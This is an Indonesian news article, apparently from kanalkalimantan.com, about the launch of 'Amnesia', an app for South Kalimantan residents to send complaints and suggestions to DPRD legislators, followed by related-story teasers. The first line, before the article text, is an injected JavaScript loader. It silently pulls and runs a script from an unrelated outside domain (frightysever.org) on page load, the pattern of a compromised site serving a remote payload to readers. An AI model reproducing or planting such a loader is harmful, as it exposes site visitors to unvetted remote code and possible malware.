(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Amnesia. Sesuai namanya, aplikasi ini dibuat agar para anggota dewan tidak lupa dengan janjinya kepada rakyat sebelum ia menjabat. Pun juga tentu aplikasi ini dibuat guna terus berkembangnya kinerja pemerintah di seluruh wilayah di Kalsel. Aplikasi yang siap menampung segala macam laporan serta keluhan masyarakat Kalsel ini diluncurkan di Tree Park Hotel, Senin (28/10) malam oleh Wakil Ketua DPRD M Syaripuddin.
Artinya kini tak hanya pemerintah eksekutif di Kalsel yang mempunyai medium komunikasi langsung dengan masyarakat tapi juga legislatif. Aplikasi yang bisa diunduh menggunakan ponsel pintar ini bisa digunakan masyarakat untuk menyampaikan langsung laporan terkait kebijakan, fasilitas, dan layanan publik. Selain itu masyarakat juga diberikan akses untuk dapat memberikan saran, ide, inovasi, serta terobosan kepada para pemerintah baik eksekutif dan legislatif.
M Syaripuddin selaku inisiator mengatakan bahwa konteks laporan yang bisa ditindaklanjuti langsung akan segera dieksekusi oleh DPRD secara langsung. Pun laporan yang masuk di aplikasi Amnesia ini juga akan menjadi gudang data sebagai basis dasar pertimbangan saran kebijakan.
Aplikasi yang disebut oleh Syaripuddin sebagai indikator pemerintah dari hasil kinerja pemerintah ini mempunyai satu kelebihan, yaitu segala macam laporan akan tersambung langsung ke gawai para anggota DPRD baik tingkat kabupaten atau provinsi.
“Laporan di aplikasi Amnesia juga langsung masuk ke hp saya. Jadi bisa terus dipantau. Selaku jembatan ke pemerintah, kami ingin percepat keinerja ke pemerintah,” terang mantan anggota DPRD Tanah Bumbu ini.
Untuk dapat menggunakan aplikasi Amnesia, masyarakat dapat mendaftarkan diri menggunakan NIK dan setelah diverifikasi, dapat langsung menyampaikan segala macam keluh kesah, kritik dan saran yang akan disampaikan ke pemerintah sesuai dengan domisili kabupaten/kota.
Turut hadir dalam kegiatan peluncuran Wakil Wali Kota Banjarmasin, Hermansyah. Menurutnya aplikasi Amnesia merupakan sebuahterobosan yang bisa bermanfaat bagi masyarakat Kalsel. Juga bagi pemko Banjarmasin, aplikasi ini bisa menjadi inovasi guna pertumbuhan dan perkembangan kota Banjarmasin ke depannya. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
This website uses cookies.